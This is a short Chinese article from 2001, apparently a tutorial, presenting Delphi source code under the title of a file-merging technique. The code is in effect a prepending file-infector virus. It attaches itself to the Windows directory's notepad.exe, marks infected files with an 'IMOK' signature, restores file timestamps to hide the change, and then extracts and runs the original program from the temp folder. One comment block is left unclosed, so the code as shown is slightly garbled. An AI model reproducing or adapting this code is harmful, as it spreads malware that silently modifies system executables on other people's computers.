文件合并新思路
(襄樊 官本和 2001.9.28)
program exe2;
uses
classes,
Tlhelp32,
windows,
SysUtils;
{$R *.RES}
var
lppe:TProcessEntry32;
found:boolean;
handle:THandle;
ProcessStr,ExeName:string;
WinDir:pchar;
const
MySize=64000; {根据编译或压缩后的文件大小进行修改}
procedure copy2(s:string);
var
s1,s2:TMemoryStream;
files2:TFilestream;
ch:array[0..3] of char;
ss:string;
filetime,fhandle:integer;
begin
{若文件s不存在}
if FileExists(s)=False then exit;
try
{判断文件s中有没有特殊标记。若有，表示已经合并过
在本程序编译或压缩后，用十六进制软件进行修改，在偏移200处加入标记'IMOK'
用debug也可进行修改(对exe文件，要先更改EXE扩展名)。例:
-e 1C8
127D:01C8 00._ ......
-w files2:=TFilestream.Create(s,fmopenread);
files2.Position:=200;
files2.Read(ch,4);
ss:=copy(ch,1,4);
files2.Free;
if ss='IMOK' then exit;
{将本文件与文件s合并 本文件+s=s}
s2:=TMemoryStream.Create;
s2.loadfromfile(ExeName);
s1:=TMemoryStream.Create;
s1.copyfrom(s2,MySize);
s2.clear;
s2.loadfromfile(s);
s1.seek(s1.size,soFromBeginning);
s1.copyfrom(s2,s2.size);
s2.free;
{得到文件s的日期}
fhandle:=FileOpen(s, fmOpenread);
filetime:=filegetdate(fhandle);
fileclose(fhandle);
s1.SaveToFile(s);
{恢复文件s的日期}
fhandle:=FileOpen(s, fmOpenwrite);
filesetdate(fhandle,filetime);
fileclose(fhandle);
s1.free;
except end;
end;
procedure CreateFileAndRun;
var
s1,s2:TMemoryStream;
TempDir:pchar;
cmdstr:string;
a:integer;
Begin
s1:=TMemoryStream.Create;
s1.loadfromfile(ExeName);
if s1.Size=MySize then
begin
s1.Free;
exit;
end;
s1.seek(MySize,soFromBeginning);
s2:=TMemoryStream.Create;
s2.copyfrom(s1,s1.Size-MySize);
GetMem(TempDir,255);
GetTempPath(255,TempDir);
s2.SaveToFile(TempDir+''+ExtractFileName(ExeName));
cmdstr:='';
a:=1;
while ParamStr(a)<>'' do begin
cmdstr:=cmdstr+ParamStr(a)+' ';
inc(a);
end;
winexec(pchar(TempDir+''+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
freemem(TempDir);
s2.free;
s1.free;
end;
begin
GetMem(WinDir,255);
GetWindowsDirectory(WinDir,255);
ExeName:=ParamStr(0);
handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
found:=Process32First(handle,lppe);
ProcessStr:='';
while found do
begin
ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}
found:=Process32Next(handle,lppe);
end;
if pos(WinDir+'notepad.exe',ProcessStr)=0 then
begin
copy2(WinDir+'notepad.exe');
end;
{其它需要合并的文件
if pos(...,ProcessStr)=0 then
begin
copy2(...);
end;
...
}
freemem(WinDir);
{
你想用这个程序干点其它的什么...
}
CreateFileAndRun;{释放文件并带参数运行}
end.
